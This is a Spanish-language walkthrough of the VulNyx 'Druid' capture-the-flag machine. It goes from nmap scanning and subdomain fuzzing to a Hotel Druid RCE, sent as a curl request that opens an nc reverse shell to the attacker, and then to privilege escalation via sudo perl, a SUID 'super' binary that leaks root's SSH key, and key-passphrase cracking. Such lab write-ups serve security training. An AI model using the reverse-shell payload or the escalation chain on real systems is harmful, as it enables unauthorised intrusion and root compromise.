VulNyx - Druid
- Hotel Druid 3.0.3 - (RCE)
- Abusing Perl Binary - (Sudo)
- Abusing Super Binary - (SUID Privesc)
- Brute Force RSA Key - (Privesc)
Escaneo de puertos
❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.1.133
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
Escaneo de servicios
❯ nmap -sVC -p 22,80 -v 192.168.1.133
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: Hotel
|_http-server-header: Apache/2.4.56 (Debian)
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP TCP - 80
Explorando la web encuentro el email info@hotel.nyx
.
Añado el dominio hotel.nyx
a mi archivo host y seguidamente realizo fuerza bruta de subdominios.
❯ wfuzz -t 200 -c --hw=2487 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.hotel.nyx" http://hotel.nyx
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://hotel.nyx/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001915: 200 17 L 31 W 398 Ch "reservations"
Añado reservations.hotel.nyx
a mi archivo hosts y lo visito.
Hago una búsqueda en internet en busca de hoteldruid exploit y encuentro este exploit.
Sigo las instrucciones del exploit y me lanzo una shell.
❯ curl 'http://reservations.hotel.nyx/dati/selectappartamenti.php?cmd=nc%20-c%20/bin/bash%20192.168.1.20%204444'
Recibo la shell como usuario www-data.
❯ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.20] from (UNKNOWN) [192.168.1.133] 54940
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Enumero permisos de sudo.
www-data@druid:/var/www/hoteldruid/dati$ sudo -l
Matching Defaults entries for www-data on druid:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on druid:
(sun) NOPASSWD: /usr/bin/perl
Busco información del binario perl en gtfobins.
Paso de usuario www-data a sun de la siguiente forma.
Con find enumero binarios con permisos SUID.
sun@druid:~$ find / -perm -4000 2>/dev/null
/usr/bin/super
Lanzo el binario super para ver de que se trata.
Sigo las indicaciones y lanzo de nuevo el binario super con la flag -H.
Si pongo la ruta del /root/.ssh/id_rsa
puedo leer el contenido de la llave rsa pero me lo muestra en mode reverse.
Para ver correctamente la llave rsa concateno el binario super con rev.
Una vez copio la llave rsa utilizo RSAcrack para encontrar el passphrase.
Me conecto como root al sistema.
Y aquí termina la máquina Druid.
Saludos!